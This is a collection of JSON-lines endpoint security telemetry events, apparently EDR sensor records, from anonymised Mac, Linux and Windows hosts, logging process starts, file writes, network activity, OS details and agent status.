-{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
-{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
-{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
-{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
-{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
-{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
-{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
-{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
-{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
-{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
-{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
-{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
-{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
